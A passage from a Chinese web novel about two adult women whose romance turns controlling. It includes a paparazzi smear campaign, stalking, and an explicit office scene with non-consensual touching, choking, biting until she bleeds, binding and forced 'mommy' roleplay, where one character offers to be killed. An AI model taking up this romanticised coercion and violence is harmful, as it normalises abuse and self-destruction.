不必担心熏着谁,伤害谁。 反正她也不会回来了。 * * * 安迟叙又一次悄悄去和梅映霜会面。 这次是一个私人会所,黎瑾初名下的财产,绝对不会再有人突然闯入的那种。 “我第一次见你,觉得你很机灵。这会儿却觉得你痴。”梅映霜接过安迟叙倒的茶,抿一口,上来就是骂她的话。 安迟叙也没动怒。“多谢夸奖。” “……噗。谁夸你了?”梅映霜放下茶杯,就觉得安迟叙这小姑娘挺有意思。 看起来大学毕业没两年,难怪会这么天真。 “我是说你傻。有后台不用,白浪费。你得熬多少年才能拿这种项目?”梅映霜也是拿了第二期,心情好,才肯跟安迟叙多说话。 不然她早把安迟叙拉黑了,还得跟黎瑾初说晏辞微的坏话。 “我能进这个项目组,就已经是走后门了。”安迟叙闭眼。 她起初以为晏辞微把她的小组塞进这个项目,是报复,在坑她。 项目竞争激烈,危机重重,一不小心她就有可能出去背锅,不是什么好事。 可倘若整个项目,甚至逐光卫视,都在晏辞微掌心,翻不出水花呢? 晏辞微是在专门给她送资源。 她拿了一个已经足够难受了,丢又丢不掉,不能再拿第二个。 她睫毛轻颤,微微睁开眼,只看见茶杯中的景。 倒影模糊。她有些看不清自己。 “已经拿了一个,那再拿第二个,第三个,有什么所谓?难道旁人会因为你只拿一个说你有道德?”梅映霜挺惊讶安迟叙的话。 她何必跟自己认下这一点。 “我有我自己的坚持。”进项目组是在她不知情的情况下,误以为是坑才接下的。 况且据她所知,没有别的小组在竞争这个位置,她没有抢任何人的东西。 但第二期的策划位置,她若真被晏辞微指名,她于心不安,夜不能寐。 “梅前辈,您有实力,动用后台只是为了拿回自己的东西。而我却是为了抢本该属于你的东西。这二者有本质的差别。” 梅映霜摇头。“可是无论于上层,或是于观众而言,你我提供的内容并没有本质上的区别。难道用了我的方案,收视率就一定能提升五个百分点吗?难道所有观众都更喜欢我,会因为我的方案去买赞助商的产品吗?只是你从职业策划的角度来看,觉得我的内容更好。但世界不是这样运行的。” 安迟叙默下来。 她有些不明白梅映霜给她说这些话是为了什么。 她当然知道梅映霜的内容在收视率,广告转化率角度来看不一定好。 她只是,希望能做到问心无愧。 安迟叙没有急着回话。 她捧着茶杯,茶杯已经没有那么烫了。热气消散,水波也平复。 她低着头已经看不清自己的影。 抿一口,茶很苦,味道却香。 很复杂,像每一个人。 安迟叙忽然明白。 梅映霜是在和她聊她这个人。 也许是想提携她,也许是觉得她那天的反应很有趣。 这是一个机会。 于是安迟叙开口,多说了点。 “我觉得你的更好,我知道她指定我是出于什么目的,就够了。况且,我们的后台不一样。你的姨姥姥并不会把你困作金丝雀。她为你撑腰是托举,是希望你顺利走远走高。” “但……情人不一样。”哪怕她和晏辞微是爱人,不是单薄的情人关系。 “所有人都会认为我在用身体和感情换资源。亲人之间互帮互助天经地义,可情人……”安迟叙言尽于此。 她不止一次想,要是晏辞微是她亲姐姐就好了。 要是晏辞微是她妈咪就好了。 为什么她的母亲是安予笙,不是晏辞微? 她想要和晏辞微亲密无间,想要和晏辞微有世界上最坚硬的关系,千刀万剐也斩不断。 她想要和晏辞微脐带连着脐带,心跳鼓动心跳,血液包融血液。 她想从晏辞微的身体里爬出来,彻底被她包裹,又被她带到这个世界上。 她会被晏辞微牵着,抱着,亲吻着,亲手带着体验这个世界。 她想做晏辞微的女儿。 不,母女关系年龄差了太多,她不要有一天目送晏辞微长满白发,再在一个清晨意识到她的离去。 那就姐妹吧。她想做晏辞微的妹妹。 那样她就不会那么痛苦,那么别扭。 母亲的东西本来就该是她的啊。她会是妈咪最引以为傲的继承人。 妹妹本来就该是姐姐的所有。她会跟在姐姐身后模仿姐姐的一切。 安迟叙已经坦诚的够多了。 她重归沉默,茶杯里的倒影又模糊了点。 “你很有意思。”梅映霜作了结,没再戳她痛处。 之后便是午饭、闲聊。 梅映霜约莫真是想提点安迟叙,给她说了几点她的方案能改的地方。 也算不虚此行。安迟叙消化着,又给梅映霜倒一杯茶。 她找梅映霜,主要还有一件事。 “你有冼知棠的黑料吗?什么样的都好。”除去这两次偷窃。 安迟叙相信冼知棠干过挺多这种事。 “有啊。”梅映霜弯了眉眼。她说安迟叙找她聊什么,怎么可能只是道歉。 “但,我为什么要给你?”梅映霜推开茶杯,双目狡黠。 “需要我做什么?”安迟叙犯了谈判的大忌。 梅映霜眼一转。“那……第三期也给我吧?” 安迟叙天赋不差。她今天这么指点,第三期轮到谁还真不好说。 “是我唐突了。”安迟叙提起包准备走。 她不是非要去做点什么不可。 “开玩笑的。”梅映霜这才拉住她,收了笑。 “只要不把我扯进来。你们鹬蚌相争,我做那个渔妇,白得利益,我很乐意。”这对梅映霜来说一箭双雕的事。 “下次记得告诉你的谈判对象,你能做的事,而不是把主导权交给她。”梅映霜又教了安迟叙一句。 安迟叙低头反思。她是习惯于把主导权让出去。毕竟晏辞微就是这么把她带大。 以后可得注意。 …… 两个人又谈了一个小时。 安迟叙出会所时,下意识看了不远处的监控摄像头一眼。 她没能看见熟悉的猩红,深沉的黑。 晏辞微当然不在。 安迟叙回到办公室,把资料交给何语檐,和沈既白那边找过麻烦的几个狗仔。 静待热搜发酵。 梅映霜的意思是要她安迟叙承担大部分火力和脏水,以此达到把冼知棠拉下水的目的。 安迟叙没有犹豫,同意了这个对她百害只一利的方案。 狗仔的动作很快的。冼知棠又不是什么明星,她们才不会去通知冼知棠,看看能不能再捞一笔封口费。 她们只会把东西添油加醋的发出去。 晚上七点。 下班高峰期,吃饭时间点,热搜发酵最快的时候。 安迟叙打开微博刷新词条。 清一色的#冼知棠。 没有一个带了她的大名。 她放出去的消息被拦了一半。 安迟叙关掉手机,抬头对上办公室的落地窗。 落地窗反映着室内的景,安迟叙看见了模模糊糊的自己。 和自己身后漆黑的一抹影。 黑影深邃得把所有光都吞没。 唯独眼底漏了一粒红。 像狙击枪的准心。 晏辞微鬼影一般贴上安迟叙的背,低头,向她吹出阴气。 安迟叙的手腕被死死囚住。 她就要被晏辞微带走—— 作者有话说:助理:感觉要被开了,救救我救救我救救我 第52章 第 52 章 但求同死 高三那年, 安迟叙同学的母亲突发心梗,离世了。 那个冬天本就高压。即将高考的学生处在一点就炸的煤气锅里,受不得一点刺激, 更别说生离死别。 班上气氛压抑如死, 那个同学请了长假,一病不起。 安迟叙被晏辞微牵着去她家看望她。 看望的同学来了又走。班主任陪在那个女生身边照顾她。 安迟叙看着楼外的灵车、花圈,听着请来的萨满念诵回归母体的祝颂,心情沉甸甸的发痛。 女儿啊女儿。你在尘世的一切苦痛都会散于母亲的怀抱。 母亲的乳汁养你,祖母的手带你。——(1) 回来吧, 回来吧。 回到你最初的摇篮, 忘记一切烦恼吧…… 萨满的语言和任何方言都不同。安迟叙却奇迹般听懂她的话。 通灵的歌声随烟火里的纸钱一同烧散。安迟叙顺着灰尘向上望去, 天幕只有一片白茫。 人死了, 就会化作这么小的盒子。然后在萨满的祝福下, 回到母亲的氏族里,回归大地的怀抱。 安迟叙攥着晏辞微的手一点点收紧。 十七岁的少年想到七十岁的一天。 她生的时候可以和晏辞微一直在一起。 死了以后,她会跟着晏辞微一起,去到没有母亲的异世, 还是会进入安予笙的血脉, 随她一同流入冥河? 她会被晏辞微留下吗?她会先晏辞微而去吗? 小小的姑娘第一次直面生死,在无人看管, 被代理母亲捡走的第三年。 她还是个小孩呢。 三岁的小猫瑟缩着往晏辞微身后躲。 晏辞微搂着她, 看完一场仪式。 她们祭上一份纸钱,郑重向这位素未谋面的母亲道别,祝福她们的同学早日康复。 回程, 安迟叙异常安静。 晏辞微也不说话,只是抱着她,轻柔的顺过她的毛发。 “姐姐。”直到回了熟悉的家, 闻到熟悉的味道,周身又堆满熟悉的温暖。安迟叙才钝钝开口,钻入晏辞微的怀抱。 “我们会一起死吗?”问话的时候,安迟叙的声音都在颤抖。 晏辞微想,这是她的小猫第一次接触死亡教育。 她又能多引领她的女儿一步。 “你觉得呢?”晏辞微缓声引导着,慢慢解开安迟叙掌心的结。 “也许不会。”安迟叙毕竟不是真正的三岁幼童。 “为什么?”晏辞微把她抱在怀里,头搭在她肩膀上,与她十指相扣。 毛茸茸的睡衣贴着安迟叙的肌肤,痒乎乎的叫她忸怩。 掌心贴合,安迟叙莫名生出一股悲痛。好像下一秒就要和晏辞微分开。 “我不知道……意外太多了,可能我身体不好,可能是车祸,可能也是心梗……” “可是我们要永远在一起。”晏辞微用上些力气,扣紧安迟叙的手。 “如果我先走,我一定会带走你。你先走,我会下去陪你。” 那时的安迟叙还没有意识到。这已经是晏辞微最盛大的告白。 血腥,却真挚。 她不能和安迟叙同生,至少要和安迟叙同死。 安迟叙只是破涕为笑。 “那你要轻一点。我怕痛。” * * * 晏辞微要履行她的承诺了。 她要把安迟叙拖入地狱,带她一起走。 办公室没有开灯。 漆黑如真正的地狱。安迟叙不知道自己站在哪儿,只能感受到晏辞微还在牵着她。 她被晏辞微夺走视力,夺走前路。 只能做那只跟随的猫。 晏辞微停了脚步。 安迟叙试图松开与她紧握的手。 不过是无用的挣扎。 晏辞微加上些力气,转过身,将安迟叙推下去。 如同高楼坠亡。安迟叙不知跌了多久,失重感拖着她的躯壳向上,五脏六腑归入母亲的庙。 她倒在一片柔软里。晏辞微接着她,把她按在沙发上。 昨天她在这张沙发上吃掉了晏辞微给她准备的糕点。又在这儿等了晏辞微整整一天,只为一句解释。 今天晏辞微在这儿彻底囚住她的四肢,咬开她矜持的外壳。 无尽的黑暗里闪过一丝红。 痣,或者监视的眼。 安迟叙嗅到晏辞微的靠近。天竺葵的味道浓了。 她知道晏辞微喜欢把香水洒在发尾、耳后。 安迟叙闭上眼,唇瓣一抹柔软。 晏辞微疼惜的抚摸过她的脸颊,在不见五指的黑暗中替她挽过碍事的碎发,将黏在她嘴角的障碍统统排除。 又怜悯似天神,刮过她的脖颈,顺着动脉的纹路向下试探。 安迟叙企图动弹。 瞬间就被黑狼捉住。 她呼出不满的气,又被晏辞微堵住嘴。 晏辞微彻底压在她身上,攀附着她的躯体,这一次不顾她的意愿,触碰她。 一个个吻落下来。胡乱而没有章法。 安迟叙别开脸,耳朵还能被叼啄。扬起头,下巴也被吮.吸一口。 “晏辞,微……”安迟叙被按住的双手不断挣扎,推脱着汲取她生命的菟丝子。 晏辞微回给她的只有疯掉的吻。 或者,咬。 安迟叙战栗。能感觉的有几次晏辞微都不止想亲她。 牙齿已经碰到她皮肤了,在旧伤附近徘徊。 终究还是收了力气,只留下一对犬牙的痕迹,换做深深的亲吻。 安迟叙被亲得毫无办法,腿也不用力了,手也不抵抗了。 晏辞微才终于停了动作。 她抱紧安迟叙,趴在她身上。 一个人的重量压在安迟叙身上,沉得她心肺无法扩张,喘不过气。 “为什么?”晏辞微明明主导。问话的声音却带着哭腔。 “为什么……为什么?团团,为什么这么傻。”她好想咬安迟叙。 咬掉安迟叙说不出好话的嘴,咬掉她恨着自己的眼。 咬掉她不听话的脑仁,咬掉她兀自跳走的心脏。 一滴泪落在安迟叙心口,穿透她的肌肤。 “为什么宁可自毁,也不要找我帮忙?”晏辞微下不了手。 她唯一的武器只有眼泪。 天知道她看见手下送来的报告时,心跳有多快。 安迟叙是疯了才会答应梅映霜的请求。以自损八百的决绝姿态去硬碰针对她的冼知棠。 那些针对安迟叙的话语,晏辞微一句都看不了,一个字都忍不下去。 她终于明白为什么那天安迟叙要站起来反驳晏昭吟。 也终于明白,她恨不了安迟叙。 这辈子她只能给她爱。 “为什么宁可答应外人这么过分的请求,都不愿意和我说哪怕一句话?明明你只要开口……”不,安迟叙就算不开口,晏辞微没法放任不管。 安迟叙最明白这一点。 她一无所有,走到今天还是只有晏??辞微的爱。 她能用的,也只有晏辞微的爱。 “你都会知道啊。”安迟叙抬手。 这次不是抵抗,只是擦去晏辞微的眼泪。 她知道为什么晏辞微看不见她也能亲吻她五官。 她们是这样的了解彼此。熟悉对方的身体好像照着镜子。 哪怕她聋了瞎了哑了,也能知道晏辞微的眼睛在哪儿,那颗猩红的泪痣又在哪儿。 晏辞微一阵颤抖。 原来是利用。 不对。她的团团哪儿有那么难看。这是她们的心照不宣。 晏辞微竟升起些微兴奋。 好像捕猎的狼尝到新鲜的血。 从猎物动脉流出的血。 她不管不顾的咬住猎物的伤口。 亲吻安迟叙的唇瓣。 安迟叙是有些抗拒的。她可能想谈话,可能今天不想要。 晏辞微以往都会尊重她。 今天却明白了欲拒还迎的乐趣。 她不想再用尊重这样奇怪的词了。 她们当然不对等,她才是主.人,给予尊重是她的特权,随时可以收走。 她只要束缚她的小猫。 这是她的。她的,她的爱人。 合该成为她的所有。 晏辞微轻柔的咬下去,将安迟叙的唇齿包裹。 反抗吧。 她会更沉溺。 安迟叙并没有抵抗太久。 她稍稍作态,而后干脆张开,去搂晏辞微的腰。 晏辞微很软很乖,给了她许可。 她们的腰贴在一起。 髋骨磨着髋骨,肚脐贴着肚脐。 好像一同进入母亲子宫的姐妹。又好像成为一对母女。 脐带是她们相融的血管,永恒链接的脉搏,生生世世不会变。 安迟叙磨着晏辞微的舌尖。 从母亲那儿汲取甜腥的血、养分。 一个吻太久了。 久到晏辞微有些撑不住这个别扭的姿态,被安迟叙抢去了主动权。 晏辞微不肯就范,干脆松开。 安迟叙腻着她的腰,在她腰窝处稍作滑弄。 晏辞微咬过安迟叙的鼻尖。 她眼底的痣红一晃而过。 把安迟叙的眼也印成红色。 “你不肯要我明面上的帮助。”晏辞微向上,鬼一般爬在安迟叙胸口,仰视着,目光凌厉,就要从安迟叙的眼睫望进她的脑髓。 “就这么怕别人的视线吗?”晏辞微到现在还以为安迟叙是怕桃色新闻下苛刻的评价。 安迟叙沉默一瞬。 “我不能活在真空中。我对外人的评价是在意的。” 再习惯视线,再是她们两个人之间的事,安迟叙也会在某一天傍晚,被凝视她的无数目光压垮,逃向没有流言的地方。 “可是姐姐。那不是我最不能接受的地方。”安迟叙想找晏辞微的眼。 办公室太黑太黑,她只能看见晏辞微眼底的红痣。 她们做不了眼神交流。 十指相扣也连不了心。 “我怕的是我不能自立。我怕的是我被你养废了,离开你活不了,没有基本的生存能力。” “我太弱小了,姐姐。我和流浪猫没有区别,除了你真的一无所有,钱权作品亲朋好友,我只有你。可是你呢?你离开我,还有家庭,资产,权势,朋友……” “我……我不想做那个缠着你吸血的水蛭。我要当独立的人,而不是你掌中的小猫。” “我知道你想要我需要你,可是只会需要你的我算什么?”安迟叙抚到一丝湿润。 是晏辞微的泪。 很汹涌。 安迟叙眨眼,脖颈顿时湿腻。 原来她也一样。 “也许等我成长起来,像梅映霜那么厉害了,我会坦然接受你的帮助,也许就像今天这样,我可以试着仰仗你的权势。可不是被你控制。”安迟叙让步了。 她没有发火,没有把脾气都洒在晏辞微身上。 她为那滴眼泪心软。承认了她不是要彻底离开晏辞微。 “我要是真在控制你。”晏辞微的眼泪还在掉,声音更颤抖。 说出的话,却越来越狠。 没道理。安迟叙的话没道理。 为什么总是说了一大堆,最终结论是要离开她,不再需要她? 明明她只求这一件事…… “那你走不出我的家门!”晏辞微倒吸一口气,想止住源源不断的泪。 她庆幸没有开灯,安迟叙看不见她的狼狈。 “你,你也走不出那间医院。”语气稍缓。晏辞微也不想把脾气往安迟叙身上砸。 可她向来是那个更控制不住的。包括爱,包括恨。“你也走不到梅映霜的会所,做不了这个组长。” 安迟叙没有说话。 她解释的很累了。她们每次都在同一个地方转圈。好像有进展,但晏辞微绕不开最核心的那一点。 她不需要她了。 女儿长大了,可以自立了。不需要母亲无微不至的照料,那样只会把她养废。 母亲却固执,一味的认为女儿离开她没法过活。 甚至生了执念,疯了魔。 “……你不怕我带走你吗?”晏辞微忽然止了眼泪。 嗓音低沉如同真正的鬼。 安迟叙被她咬痛,回过神。 锁骨的疼痛钻了心,好像晏辞微在咬的是血淋淋的心脏。 她是认真的。 安迟叙闭上眼。 一滴泪从眼角滑到晏辞微额角。 锁骨的疼痛稍缓。 “那你杀了我吧。”安迟叙的声音轻飘飘的。 缠在晏辞微耳廓,填充她的头脑,如水,让她溺毙。 “我的命是你给的。当然可以还给你。”没有晏辞微,安迟叙也许真的会死在高一的冬天。 安迟叙轻哂,幻想越来越轻,越来越飘。 她想到了血、肉、筋膜、白骨。 她想到了解脱、轻松,不再需要和晏辞微闹别扭,只用闭上眼。 等待被心爱之人终结的感觉意外亲切。 好像回到了生命伊始,母亲的子宫。 生与死原来同源。 “我的社会关系很简单,亲近的人只有你。离职以后,只要你不报警,没有人会发现我失踪了。” 安迟叙想起高中那会儿,同学的母亲离世。 那时她还很怕痛。死亡的重量和疼痛划上等号。 可是如果晏辞微要带她走。 她只会求晏辞微轻一点。 “我瘦了很多,不重的。骨架没办法,有点大。可能麻烦你处理干净……” “安迟叙!”晏辞微打断安迟叙的时候,已经来不及了。 她已经意识到安迟叙也是认真的。 安迟叙总是这样,也许是一无所有,做什么事都如此决绝鲁莽,带着一身浓厚的毁灭气息横冲直闯。 磕着碰着,不痛吗? 晏辞微控制不住眼泪,控制不住暴起的青筋。 她的爱人愿意把命给她。 却不肯回来哪怕需要她一次。 多可恨啊。 “这可是你说的。” 恨与死。 我满足你。 晏辞微红一双眼,在黑夜里多么显眼。 她第一次没有卸力,狠狠咬上安迟叙的肩膀。 直到尝到爆开的血花—— 作者有话说:(1)有参考少数民族丧歌 第53章 第 53 章 她们回不到过去了…… 安迟叙二十岁那年的暑假, 最轻松,最惬意。 没有升学找工的压力,期末考试应付一下也能过关, 就连生活费也是晏辞微全权负责, 一整个学期安迟叙可以一点钱都不碰。 日复一日的生活平静到堪称无趣。 往那时投去回忆,竟也不剩多少。 只是一日三餐柴米油盐。 七点左右,晏辞微准时睁开眼。 她怀里还抱着贪睡的小猫。昨夜又忙碌半宿,累不成模样,嘴角还挂着一丝欢愉。 理说晏辞微也该疲惫。但她连点酸胀感都没有, 低头亲吻安迟叙的额头。 “唔……”安迟叙扭动着想要起身。伸出的手很自然的搭在爱人的肩膀上。 “还早, 再睡会儿。”晏辞微捂住小猫的眼, 疼惜的抚过她的脸颊, 擦去那一抹晶莹。 安迟叙沉下去, 无意识也能因为一句话而安心。 梦中有天竺葵的清甜。玫瑰似的淡雅香味悠悠缭绕在身旁,充盈粉红色的梦境。 天竺葵的主人已经坐了起来,把衣服整理好,又给安迟叙盖好被子, 调整空调的温度, 正式起床。 关上洗手间的门,洗漱的声音传不出去。晏辞微看着镜子里的自己, 捕捉到一块惊喜。 脖颈被调皮的小猫吸出红印。 她的安迟叙在某些时候好像吸奶的幼童, 不知分寸,只管找妈咪讨要。 今天穿吊带吧。晏辞微没有遮掩的想法,反而想把痕迹露出来, 昭告世界。 给团团穿什么呢…… 刷牙的时候,晏辞微满脑子都是她的团团换上不同的小裙子。 团团穿连衣裙最可爱,带花纹的更好, 晏辞微给她买了很多,每天一件都穿不过来。 新到的那条碎花裙不错。试试吧。 浴室门开了。 晏辞微吐掉漱口水,不必抬头。 背脊果然被一团热贴附。 “姐姐……”而后是熟悉的呢喃,软绵绵的,比刚刚刷出的泡沫还柔和。 安迟叙来找她的姐姐了。点着步子,还没完全睡醒,靠本能找到晏辞微,抱住她。 “怎么就醒了?被我吵到了?”晏辞微擦过脸,转身回应她的团团。 拿起毛巾擦拭她眼角的泪痕。 “想你……”每天都是这样。晏辞微起得又早又准时,安迟叙喜欢赖床,但总是在晏辞微之后爬起来,去家里各种地方抱她。 听着爱人吐露的依恋,晏辞微心底一阵柔软,俯身抱紧安迟叙,一颗颗吻落在安迟叙的脸颊。 安迟叙发出一串猫似的咕噜。 晏辞微也听不懂这些话,长久的相处却让她知道安迟叙想表达什么。 无非是喜欢,爱你,还要亲之类的话。 小团团眼睛还闭着呢,眉头拧紧,被光打扰得完全睁不开。 嘴里哼哼唧唧的,就知道撒娇。 晏辞微会接住她的全部。 安迟叙被抱回床上,终于在晏辞微投下的阴影里睁眼。 看见晏辞微深邃的眸子,安迟叙绽放笑容。“姐姐,早。” 她几分钟前就打过招呼了,但迷糊的脑子记不住。 问几次好都不嫌多呀。安迟叙伸手抱住晏辞微的脖颈,轻蹭她的颈窝。 “再睡一刻钟。我去做早饭。”晏辞微把小姑娘放回床上,轻柔的捧住她的手,把她摆成睡觉的姿势。 “不要~”安迟叙已经醒了,胡乱动作起来,就要去抓晏辞微。 “乖,听话。”晏辞微是她温柔又严苛的妈妈。揉着她的脸,给一个吻,把她安抚下去。 不过两秒安迟叙的呼吸又均匀了。 晏辞微坐在床边凝视两分钟,不自觉弯了眉眼。 她就知道团团没睡醒。 十五分钟不够准备早饭。晏辞微动作再快也做不出来。 安迟叙再次迷迷糊糊朝厨房走去,和开了自动跟随的小鸡崽没区别,睁眼就要找妈妈。 晏辞微把锅闷上,提着安迟叙往浴室走,给她挤好牙膏开了水,擦一把脸。 安迟叙终于睁圆杏眼,醒了过来。 “姐姐,早好~今天也喜欢你!”语调变成了晏辞微熟悉的那一种。 晏辞微知道,她的团团这次真的醒了,就亲亲团团的耳朵,让她好好洗漱。 “乖团,我也爱你。等你洗漱完就可以吃早饭了。”晏辞微在背后抱着安迟叙,头偏着,贴在安迟叙肩膀上。 安迟叙拿着牙刷,又弯出太过灿烂的笑。“姐姐真好。” 给团团洗完脸,晏辞微出去关火。 安迟叙自己好生擦了一遍,对着镜子里的自己发现一个惊喜。 昨夜她的姐姐掐红她的肩膀,指甲痕迹留到现在。 希望今天穿的裙子带袖子。安迟叙磨了磨肩膀上的红痕,怪不好意思的。 她的姐姐高那什么的时候总是忍不住,发泄的方式是用力。不敢咬的时候就掐,安迟叙对身上的指甲印十分熟悉。 今天穿的是碎花裙。有很短的袖子,将将盖过指甲印。 安迟叙抖了抖胳膊,没在意那一点痕迹。等姐姐系好她背后的蝴蝶结,她就贴着姐姐一块儿出门了。 “买菜?”安迟叙向来不知道今天要做什么。总归是晏辞微定的,又不会害她。 “附近新开了公园,去逛逛。逛完买菜,回家午休。”而晏辞微安排向来井井有条。 她做计划,安迟叙照做就好,哪里用得着操心。 安迟叙随意往晏辞微胳膊上靠,被晏辞微搂进怀里。 这会儿不过八点光景,晨雾方才散去,路上没太多人。安迟叙敢随便和晏辞微亲昵,不怕有人注意。 新开的公园绿化做的好,有湖有山,两个人还划了船。 “之后吃芹菜炒虾仁,茄饼,然后炖个排骨汤吧。”晏辞微趁着划船的时间把要买的菜想好了。 安迟叙拿着手机对她一顿乱拍。 晏辞微佯装去抢手机,两个人闹作一团,险些翻船。 下了船,晏辞微带安迟叙到旁边坐下,拿毛巾给她擦裙摆沾的水。 “姐姐,你怎么毛巾都随身带?”安迟叙有点不自在,脸都红了,幸好周围没人。 “以防万一啊。这不是用上了?”晏辞微擦完,戳了下安迟叙的脸。 安迟叙扑进她怀里。 买菜的时候安迟叙抓着晏辞微的手,紧紧贴着她。跟怕生小猫一样黏乎乎。晏辞微一手拿菜篮,一手搂团团。 小猫嘛,怕生才正常。 晏辞微很喜欢这么粘着她的团团,就觉得可爱。 回家做午饭,安迟叙坐在餐桌上盯着晏辞微发呆。 她不被允许进厨房,晏辞微总嫌她帮倒忙,只能坐在外面傻乎乎的看。 晏辞微动作很快,闷好食材就会出厨房,和呆团团一块儿对坐,对着她发两分钟呆,直到呆团反应过来,去戳她脸。 “姐姐,你又笑我。”团团有脾气呢。 不过是很小的脾气。被晏辞微抓过来亲几下就没了,化作软软一团,真是团起来的小猫。 吃完饭,两个人在阳台模仿沙滩太阳浴,支一把伞,一张躺椅,也不嫌热,就黏在一起。 安迟叙汗水直往下流,湿哒哒的贴着晏辞微。 晏辞微也不嫌弃,抱得很紧。 她们只有十多分钟能在外面演矫情。热得受不了就回屋带着,亲一会儿准备午睡。 阳光直愣愣的往阳台泼。一瞬划破遮阳伞,一瞬掀开安迟叙的眼睫。 她眨眼,恍惚是晏辞微的发丝帮她遮阳,恍惚是天竺葵的香水味替她抵挡。 混着阳光的味道,夏日的热,汗水交织的粘腻。 安迟叙慢慢闭上眼,呼吸也均匀。 那是太微不足道的一天。 当时谁都以为那会是永远。 * * * 只有生与死永恒。 而生与死同源,都来自母亲的爱与恨。 母亲对孩子天然有生杀予夺之权。 她可以随意给予女儿生命,又可以轻易将她带走。 晏辞微是安迟叙的母亲。 她咬下判决的一口。 安迟叙等待母亲的宣判。疼痛却在熟悉的位置炸开。 晏辞微没能狠下心,咬破喉管或动脉。 她只是咬在安迟叙的肩膀上。曾经最喜欢留下抓痕的地方,如今布满愤懑的咬痕。 晏辞微没有克制,咬得安迟叙生疼。 安迟叙吸着气,干脆学晏辞微,去抓她的胳膊。 黑暗让她看不清那里有没有留下血痕。安迟叙也不想再克制心底的烦闷,或者说,恨。 她抓得狠,被咬得狠。 很快血腥味逸散开,两个人一起松了动作。 安迟叙听见血液的声音。 嗡鸣占据大脑。 紧接着是布料被撕破的刺啦声。 晏辞微不管不顾的撕坏了安迟叙又一套衣服。 这是安迟叙自己买的过季打折款,更让晏辞微生恨。 她好像把不听话的衣服当作不听话的安迟叙。 撕毁的疯狂,好像数周之前安迟叙看见她扎布娃娃的模样。 晏辞微想毁掉安迟叙。 安迟叙仰着头,清楚的意识到这一点。 而她当真不知如何反抗,她到底是幼小的女儿,逃不过母亲的控制。 肩膀的疼痛缓了。 胸口的痛楚接踵而至。 而后是腰腹、肚脐、大腿…… 安迟叙吐着气,眼泪直直往外冒。 她希望只有生理上的。 心却也被晏辞微一口一口啃食,痛苦难耐。 晏辞微咬得仔细,用力。 从头到脚。把安迟叙每一寸都吃掉。 好像真是黑狼,在品尝她的猎物。 到一半安迟叙就开始颤抖,泣不成声。 晏辞微半点安慰都没有,反而掐住她的喉头,不许她出声。 多疼啊。 安迟叙掐住手边的东西。她不知道那是什么,无光的暗夜漫长寂静,聊以慰藉的事物太模糊。 直到晏辞微终于停下一次处刑,安迟叙松手才意识到那熟悉的触感。 她掐的依旧是晏辞微的手臂、腰肢。 晏辞微一声不吭,只管罚她。 “你总说我在控制你。”晏辞微舔过嘴角的腥,无视自己的伤。 她俯身,压抑安迟叙全部,用比无关更深邃的阴影笼罩她,而后捧住她的脸。 亲吻依旧轻柔。 “我也觉得,我应该照你说的去做。”吻过,晏辞微舔.舐安迟叙的肩膀。 那里有冒着血珠的伤口,味道是陌生的爱人。 “尝尝看。”晏辞微最后舔过安迟叙耳朵。 一个吻弄出nian稠的声音。 安迟叙吐着粗气捕捉晏辞微的动作,只听见布料摩擦的声音。 而后她的手被kun了起来。 脖颈被什么shuan住。 脚踝也被拧上。 夜灯忽然点亮。 安迟叙看见一抹抹红晕,血的颜色刺激她的头脑。 她动弹不得,只有眼泪,却把血色冲刷。 她看清了晏辞微的模样。 像厉鬼。 平时跟踪自己的晏辞微像幽魂,冷冰冰的没有实体,不可怕,只是没有温度。 这会儿的晏辞微双目通红,满身是伤,沾着属于她不属于她的血,头发凌乱。 眼底,还有模糊的血泪。 盖过那颗醒目的红痣。 晏辞微坐在她面前,动作不那么顺畅,好像真的变成了鬼。 安迟叙以为,自己会被狠狠教训。新一轮的皮肉之苦就要落下。自己会哭得不成模样。 可晏辞微只是抬手。 当着安迟叙的面,自己mo索。 晏辞微把安迟叙捆起来,就为了让她看一场zi抑wei。 “……这是惩罚吗?”安迟叙看了一会儿,浑身烧热,沙哑开口。 挺奇怪的。 她刚被折磨得这么狼狈,这会儿看着晏辞微的光影,依旧有些想法。 那是……属于她的秘境。 她尝过,吻过,抚摸过。 现在也渴望着。 “试试不就知道了?”晏辞微其实不太会。 不过她的感受不重要。 她只想控制她几欲逃跑的女儿。 她俯身。夜灯微弱的光照得她满身朦胧。 有些妙曼流淌在安迟叙眼前。 晏辞微磨过安迟叙的shen体。 从髋骨开始。 她不时亲吻,舔过那些罪孽的咬痕,聊作抚慰。 勾得安迟叙满面通红。 烧热重了。 安迟叙晕乎乎的想伸手。 晏辞微在诱她。 邀她动手,体验。 安迟叙还想张嘴。平日轻而易举可以吻到的美好,此刻近在咫尺。 她却一丝都品不到。 她被晏辞微绑得结结实实,动弹不得。 只能看着晏辞微完成一场表演。 看得见,摸不着,尝不到。 晏辞微当真狠辣。竟能想出这么一招。 晏辞微明明不太会…… 安迟叙看着她生疏的动作,闻着天竺葵的馋香,又一次泌出眼泪。 这一次,没有疼痛,只有心慌。 让她来吧…… 安迟叙也想当主导的那一个,也想给她的爱人最好的体验。 她想晏辞微。 很想,很想很想很想…… …… 安迟叙呼出一口气,一行泪顺势打在伤口上。 她承认。 这就是惩罚。 最狠的那一种。和她说不需要晏辞微一样。 晏辞微不允许她的主导。 她却比晏辞微更会低头。 我想帮你,姐姐。 安迟叙张开嘴,呢喃着。 最终低着头,只喊出一声沙哑的“姐姐”。 “错了。”晏辞微终于停了going。 一掌拍在安迟叙的靶心。 “要喊妈咪。”这一局,终于是她赢了。 晏辞微捏过安迟叙的下巴,令她稍仰头。 安迟叙碎发飘零在脑后,粘着脸颊的泪。 她抬头,双目还清灵灵装着光。 唇瓣颤抖。 晏辞微居高临下,等着必定的结果。 而安迟叙也听话。 “妈…咪……”她喊得很吃力。 “乖团。”晏辞微俯身给予奖励的亲吻。 而后抬起yao,伸过去。 “舔吧。” 安迟叙伸出舌头。 还是那样的甜。 …… 晏辞微拆了安迟叙手脚上的束缚。 又解开她脖颈系着的绳子。 留了一块项.圈似的,方便她勾。 晏辞微指节贴着安迟叙的脖颈,稍用力。 安迟叙被她带到面前,跪坐下来。 夜灯已经很亮了。 足够晏辞微看见安迟叙仰着头,姿态卑微,双眼明亮。 安迟叙终于成了她的小猫。 晏辞微似乎满意,眉眼柔和下去,笑容温婉。 她的手掌贴着安迟叙的脸。 抚摸她的眼角。 “妈咪。”安迟叙亲昵的蹭过她的掌心。 晏辞微牵着她,往后靠。 坐上办公的桌子。 安迟叙还跪在地上抬着头。 晏辞微顺势把她拉近。 要她继续。 舌忝。 …… 晏辞微坐在安迟叙身上。 安迟叙像发烧那回,只手抬起。 